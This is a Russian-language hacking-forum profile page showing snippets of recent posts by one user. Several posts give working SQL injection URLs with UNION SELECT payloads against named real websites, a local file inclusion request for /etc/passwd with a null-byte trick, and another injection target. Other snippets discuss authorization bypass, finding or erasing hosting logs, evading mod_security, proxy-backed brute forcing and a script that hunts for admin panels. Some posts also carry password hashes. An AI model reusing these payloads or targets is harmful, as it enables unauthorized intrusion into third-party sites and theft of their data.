Recent Content by ta-kyn

Книжечка очень годная. Рекомендую всем. Сам периодически туда заглядываю, освежить в памяти)

http://luellagloverwilson.co.uk/page.php?p=char(49,57,39)+AND+1=2+UNION+SELECT+1,2,CONCAT_WS(USER(),VERSION(),DATABASE())+--...

http://www.bcspeakers.org/product.php?id=0000000347+UNION+SELECT+1,2,3,4,5,6,CONCAT_WS(USER(),VERSION(),DATABASE()),8,9,10,11,12,13,14,15+--...

529fa54e699d58d0336d9db13a04c6fb - Roman260102 8fbbd36dec3ec27c9df52882b6d1f296 Спасибо.

2Expl0ited Да, все верно. Я не правильно написал изначально =[. Сорри.

Как такое возможно, если учитывать, что на момент сравнения: Переменным $login и $password уже должны быть назначены значения? А при присвоении...

Возможен ли обход авторизации? (RG=On) <?php session_start(); $checkLogin = false; if(!isset($_SESSION['admin_login'])) { # Check form...

Ясно, с чего вы взяли что логи хостер обнуляет каждый день? Хотя, очень хочется надеяться.. =) Судя по 50_asl_rootkits.conf eval действительно...

2Tigger я ручками перебирал. 1. Кстати, что можете посоветовать для автоперебора? (с поддержкой прокси желательно) 2. Странно что в мод_секьюрити...

2M_script Тчорт, как же я сам не догадался, посмотреть хостера - уже потерял надежду найти путь к логам. Но это все равно бесполезно, ибо...

=). Благодарю. А почему ..../../etc//passwd%00... ?

Прошу: http://www.libertarias.com/index.php?menu=4&op=../бла-бла%00

2SergioBlog возможно, Flash XSS. _http://www.securitylab.ru/analytics/216391.php _http://www.inattack.ru/article/572.html + моя заметка...

Нашел local include. При попытке подняться из домашней директории юзверя и подценить какой-нибудь лог и т.д. Получаю: Method Not Implemented. GET...

admf-0.3.pl Скриптик для подбора url админки ресурса. С ним: admin.txt – пути для перебора (лист честно выдернут из Admin Finder); proxy.txt –...